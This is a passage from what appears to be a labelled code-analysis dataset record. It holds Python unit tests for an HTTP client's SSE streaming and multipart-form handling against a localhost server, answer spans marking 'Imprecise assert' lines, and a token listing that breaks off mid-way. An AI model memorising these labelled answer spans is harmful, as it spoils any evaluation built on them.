'data': '1\\n2'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '2', 'name': '', 'data': '3\\n4'})\n self.assertTrue(len(response.body) == 0)\n self.assertTrue(len(response.eventSource.raw) == 0)\n\n alpha.close()\n beta.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testNonBlockingRequestStreamFancyChunked", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 652 }, { "content": " def testNonBlockingRequestStreamFancyJson(self):\n \"\"\"\n Test NonBlocking Http client to server Fancy SSE with chunked transfer encoding\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testNonBlockingRequestStreamFancyJson.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n beta = tcp.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta)\n self.assertIs(beta.reopen(), True)\n self.assertIs(beta.accepted, False)\n self.assertIs(beta.connected, False)\n self.assertIs(beta.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.serviceConnect()\n alpha.serviceConnects()\n if beta.connected and beta.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.accepted, True)\n self.assertIs(beta.connected, True)\n self.assertIs(beta.cutoff, False)\n self.assertEqual(beta.ca, beta.cs.getsockname())\n self.assertEqual(beta.ha, beta.cs.getpeername())\n self.assertEqual(alpha.eha, beta.ha)\n\n ixBeta = alpha.ixes[beta.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.ca)\n self.assertEqual(ixBeta.ha, beta.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6061\n method = u'GET'\n path = u'/fancy?idify=true&jsonify=true'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json')])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n msgOut = request.build()\n lines = [\n b'GET /fancy?idify=true&jsonify=true HTTP/1.1',\n b'Host: 127.0.0.1:6061',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, request.lines[i])\n\n self.assertEqual(request.head, b'GET /fancy?idify=true&jsonify=true HTTP/1.1\\r\\nHost: 127.0.0.1:6061\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, request.head)\n\n console.terse(\"Beta requests to Alpha\\n\")\n beta.tx(msgOut)\n while beta.txes and not ixBeta.rxbs :\n beta.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n lines = [\n b'HTTP/1.0 200 OK\\r\\n',\n b'Server: PasteWSGIServer/0.5 Python/2.7.9\\r\\n',\n b'Date: Thu, 30 Apr 2015 21:35:25 GMT\\r\\n'\n b'Content-Type: text/event-stream\\r\\n',\n b'Cache-Control: no-cache\\r\\n',\n b'Connection: close\\r\\n\\r\\n',\n ]\n\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n response = clienting.Respondent(msg=beta.rxbs,\n method=method,\n dictable=True,\n )\n\n lines = [\n b'retry: 1000\\n\\n',\n b'id: 0\\ndata: START\\n\\n',\n b'id: 1\\ndata: {\"count\":1}\\n\\n',\n b'id: 2\\n',\n b'data: {\"count\":2}\\n\\n',\n b'id: 3\\ndata: {\"count\":3}\\n\\n',\n b'id: 4\\ndata: {\"count\":4}\\n\\n',\n ]\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n timer = Timer(duration=0.5)\n while response.parser and not timer.expired:\n alpha.serviceTxesAllIx()\n response.parse()\n beta.serviceReceives()\n time.sleep(0.01)\n\n if response.parser:\n response.parser.close()\n response.parser = None\n\n self.assertEqual(len(beta.rxbs), 0)\n self.assertEqual(response.eventSource.retry, 1000)\n self.assertEqual(response.retry, response.eventSource.retry)\n self.assertTrue(int(response.eventSource.leid) >= 2)\n self.assertEqual(response.leid, response.eventSource.leid)\n self.assertTrue(len(response.events) > 2)\n event = response.events.popleft()\n self.assertEqual(event, {'id': '0', 'name': '', 'data': 'START'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '1', 'name': '', 'data': {'count': 1}})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '2', 'name': '', 'data': {'count': 2}})\n self.assertTrue(len(response.body) == 0)\n self.assertTrue(len(response.eventSource.raw) == 0)\n\n alpha.close()\n beta.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testNonBlockingRequestStreamFancyJson", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 818 }, { "content": " def testNonBlockingRequestStreamFancyJsonChunked(self):\n \"\"\"\n Test NonBlocking Http client to server Fancy SSE with chunked transfer encoding\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testNonBlockingRequestStreamFancyJsonChunked.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n beta = tcp.Client(ha=alpha.eha, bufsize=131072, wlog=wireLogBeta)\n self.assertIs(beta.reopen(), True)\n self.assertIs(beta.accepted, False)\n self.assertIs(beta.connected, False)\n self.assertIs(beta.cutoff, False)\n\n console.terse(\"Connecting beta to server ...\\n\")\n while True:\n beta.serviceConnect()\n alpha.serviceConnects()\n if beta.accepted and beta.ca in alpha.ixes:\n break\n time.sleep(0.05)\n\n self.assertIs(beta.accepted, True)\n self.assertIs(beta.connected, True)\n self.assertIs(beta.cutoff, False)\n self.assertEqual(beta.ca, beta.cs.getsockname())\n self.assertEqual(beta.ha, beta.cs.getpeername())\n self.assertEqual(alpha.eha, beta.ha)\n\n ixBeta = alpha.ixes[beta.ca]\n self.assertIsNotNone(ixBeta.ca)\n self.assertIsNotNone(ixBeta.cs)\n self.assertEqual(ixBeta.cs.getsockname(), beta.cs.getpeername())\n self.assertEqual(ixBeta.cs.getpeername(), beta.cs.getsockname())\n self.assertEqual(ixBeta.ca, beta.ca)\n self.assertEqual(ixBeta.ha, beta.ha)\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6061\n method = u'GET'\n path = u'/fancy?idify=true&jsonify=true'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json')])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n msgOut = request.build()\n lines = [\n b'GET /fancy?idify=true&jsonify=true HTTP/1.1',\n b'Host: 127.0.0.1:6061',\n b'Accept-Encoding: identity',\n b'Accept: application/json',\n b'',\n b'',\n ]\n for i, line in enumerate(lines):\n self.assertEqual(line, request.lines[i])\n\n self.assertEqual(request.head, b'GET /fancy?idify=true&jsonify=true HTTP/1.1\\r\\nHost: 127.0.0.1:6061\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n')\n self.assertEqual(msgOut, request.head)\n\n console.terse(\"Beta requests to Alpha\\n\")\n beta.tx(msgOut)\n while beta.txes and not ixBeta.rxbs :\n beta.serviceTxes()\n time.sleep(0.05)\n alpha.serviceReceivesAllIx()\n time.sleep(0.05)\n msgIn = bytes(ixBeta.rxbs)\n self.assertEqual(msgIn, msgOut)\n ixBeta.clearRxbs()\n\n console.terse(\"Alpha responds to Beta\\n\")\n lines = [\n b'HTTP/1.1 200 OK\\r\\n',\n b'Content-Type: text/event-stream\\r\\n',\n b'Cache-Control: no-cache\\r\\n',\n b'Transfer-Encoding: chunked\\r\\n',\n b'Date: Thu, 30 Apr 2015 22:11:53 GMT\\r\\n',\n b'Server: IoBook.local\\r\\n\\r\\n',\n ]\n\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n while ixBeta.txes or not beta.rxbs:\n alpha.serviceTxesAllIx()\n time.sleep(0.05)\n beta.serviceReceives()\n time.sleep(0.05)\n msgIn = bytes(beta.rxbs)\n self.assertEqual(msgIn, msgOut)\n\n console.terse(\"Beta processes response \\n\")\n response = clienting.Respondent(msg=beta.rxbs,\n method=method,\n dictable=True)\n\n lines = [\n b'd\\r\\nretry: 1000\\n\\n\\r\\n',\n b'6\\r\\nid: 0\\n\\r\\n'\n b'd\\r\\ndata: START\\n\\n\\r\\n',\n b'6\\r\\nid: 1\\n\\r\\n',\n b'12\\r\\ndata: {\"count\":1}\\n\\r\\n',\n b'1\\r\\n\\n\\r\\n',\n b'6\\r\\nid: 2\\n\\r\\n12\\r\\ndata: {\"count\":2}\\n\\r\\n1\\r\\n\\n\\r\\n',\n b'6\\r\\nid: 3\\n\\r\\n12\\r\\ndata: {\"count\":3}\\n\\r\\n1\\r\\n\\n\\r\\n',\n b'6\\r\\nid: 4\\n\\r\\n12\\r\\ndata: {\"count\":4}\\n\\r\\n1\\r\\n\\n\\r\\n',\n ]\n msgOut = b''.join(lines)\n ixBeta.tx(msgOut)\n timer = Timer(duration=0.5)\n while response.parser and not timer.expired:\n alpha.serviceTxesAllIx()\n response.parse()\n beta.serviceReceives()\n time.sleep(0.01)\n\n if response.parser:\n response.parser.close()\n response.parser = None\n\n response.dictify()\n\n self.assertEqual(len(beta.rxbs), 0)\n self.assertEqual(response.eventSource.retry, 1000)\n self.assertEqual(response.retry, response.eventSource.retry)\n self.assertTrue(int(response.eventSource.leid) >= 2)\n self.assertEqual(response.leid, response.eventSource.leid)\n self.assertTrue(len(response.events) > 2)\n event = response.events.popleft()\n self.assertEqual(event, {'id': '0', 'name': '', 'data': 'START'})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '1', 'name': '', 'data': {'count': 1}})\n event = response.events.popleft()\n self.assertEqual(event, {'id': '2', 'name': '', 'data': {'count': 2}})\n self.assertTrue(len(response.body) == 0)\n self.assertTrue(len(response.eventSource.raw) == 0)\n\n alpha.close()\n beta.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testNonBlockingRequestStreamFancyJsonChunked", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 974 }, { "content": " def testMultiPartForm(self):\n \"\"\"\n Test multipart form for Requester\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testMultiPartForm.__doc__))\n\n\n\n console.terse(\"{0}\\n\".format(\"Building Request ...\\n\"))\n host = u'127.0.0.1'\n port = 6101\n method = u'POST'\n path = u'/echo?name=fame'\n console.terse(\"{0} from {1}:{2}{3} ...\\n\".format(method, host, port, path))\n headers = odict([(u'Accept', u'application/json'),\n (u'Content-Type', u'multipart/form-data')])\n fargs = odict([(\"text\", \"This is the life,\\nIt is the best.\\n\"),\n (\"html\", \"<html><body></body><html>\")])\n request = clienting.Requester(hostname=host,\n port=port,\n method=method,\n path=path,\n headers=headers)\n msgOut = request.build(fargs=fargs)\n\n self.assertTrue(b'Content-Disposition: form-data; name=\"text\"\\r\\nContent-Type: text/plain; charset=utf-8\\r\\n\\r\\nThis is the life,\\nIt is the best.\\n\\r\\n' in msgOut)\n self.assertTrue(b'Content-Disposition: form-data; name=\"html\"\\r\\nContent-Type: text/plain; charset=utf-8\\r\\n\\r\\n<html><body></body><html>\\r\\n' in msgOut)\n self.assertTrue(request.head.startswith(b'POST /echo?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nContent-Length: 325\\r\\nAccept: application/json\\r\\nContent-Type: multipart/form-data; boundary='))", "metadata": "root.BasicTestCase.testMultiPartForm", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 3525 } ]
[ { "span": "self.assertTrue(len(response.events) > 2)", "start_line": 329, "start_column": 8, "end_line": 329, "end_column": 49 }, { "span": "self.assertTrue(len(response.body) == 0)", "start_line": 336, "start_column": 8, "end_line": 336, "end_column": 48 }, { "span": "self.assertTrue(len(response.eventSource.raw) == 0)", "start_line": 337, "start_column": 8, "end_line": 337, "end_column": 59 }, { "span": "self.assertTrue(len(response.events) > 2)", "start_line": 482, "start_column": 8, "end_line": 482, "end_column": 49 }, { "span": "self.assertTrue(len(response.body) == 0)", "start_line": 489, "start_column": 8, "end_line": 489, "end_column": 48 }, { "span": "self.assertTrue(len(response.eventSource.raw) == 0)", "start_line": 490, "start_column": 8, "end_line": 490, "end_column": 59 }, { "span": "self.assertTrue(int(response.eventSource.leid) >= 2)", "start_line": 633, "start_column": 8, "end_line": 633, "end_column": 60 }, { "span": "self.assertTrue(len(response.events) > 2)", "start_line": 635, "start_column": 8, "end_line": 635, "end_column": 49 }, { "span": "self.assertTrue(len(response.body) == 0)", "start_line": 642, "start_column": 8, "end_line": 642, "end_column": 48 }, { "span": "self.assertTrue(len(response.eventSource.raw) == 0)", "start_line": 643, "start_column": 8, "end_line": 643, "end_column": 59 }, { "span": "self.assertTrue(int(response.eventSource.leid) >= 2)", "start_line": 799, "start_column": 8, "end_line": 799, "end_column": 60 }, { "span": "self.assertTrue(len(response.events) > 2)", "start_line": 801, "start_column": 8, "end_line": 801, "end_column": 49 }, { "span": "self.assertTrue(len(response.body) == 0)", "start_line": 808, "start_column": 8, "end_line": 808, "end_column": 48 }, { "span": "self.assertTrue(len(response.eventSource.raw) == 0)", "start_line": 809, "start_column": 8, "end_line": 809, "end_column": 59 }, { "span": "self.assertTrue(int(response.eventSource.leid) >= 2)", "start_line": 955, "start_column": 8, "end_line": 955, "end_column": 60 }, { "span": "self.assertTrue(len(response.events) > 2)", "start_line": 957, "start_column": 8, "end_line": 957, "end_column": 49 }, { "span": "self.assertTrue(len(response.body) == 0)", "start_line": 964, "start_column": 8, "end_line": 964, "end_column": 48 }, { "span": "self.assertTrue(len(response.eventSource.raw) == 0)", "start_line": 965, "start_column": 8, "end_line": 965, "end_column": 59 }, { "span": "self.assertTrue(int(response.eventSource.leid) >= 2)", "start_line": 1114, "start_column": 8, "end_line": 1114, "end_column": 60 }, { "span": "self.assertTrue(len(response.events) > 2)", "start_line": 1116, "start_column": 8, "end_line": 1116, "end_column": 49 }, { "span": "self.assertTrue(len(response.body) == 0)", "start_line": 1123, "start_column": 8, "end_line": 1123, "end_column": 48 }, { "span": "self.assertTrue(len(response.eventSource.raw) == 0)", "start_line": 1124, "start_column": 8, "end_line": 1124, "end_column": 59 }, { "span": "self.assertTrue(b'Content-Disposition: form-data; name=\"text\"\\r\\nContent-Type: text/plain; charset=utf-8\\r\\n\\r\\nThis is the life,\\nIt is the best.\\n\\r\\n' in msgOut)", "start_line": 3550, "start_column": 8, "end_line": 3550, "end_column": 172 }, { "span": "self.assertTrue(b'Content-Disposition: form-data; name=\"html\"\\r\\nContent-Type: text/plain; charset=utf-8\\r\\n\\r\\n<html><body></body><html>\\r\\n' in msgOut)", "start_line": 3551, "start_column": 8, "end_line": 3551, "end_column": 161 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Block", "ing", "Request", "Stream_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Non", "Block", "ing", " ", "Http", " ", "client", " ", "with", " ", "SSE", " ", "stream", "ing", " ", "server", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Non", "Block", "ing", "Request", "Stream_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "tcp_", "._", "Client_", "(_", "ha_", "=_", "alpha_", "._", "eh", "a_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connected_", "and_", "beta_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ca_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ha_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "606", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "stream", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "stream", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "request_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "request_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "stream", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "request_", "._", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "HTTP", "/", "1.0", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Server", ":", " ", "Past", "e", "WS", "GI", "Server", "/", "0.", "5", " ", "Pyth", "on", "/", "2.7", ".9", "\\\\", "r", "\\\\", "n", "'_", ",_", 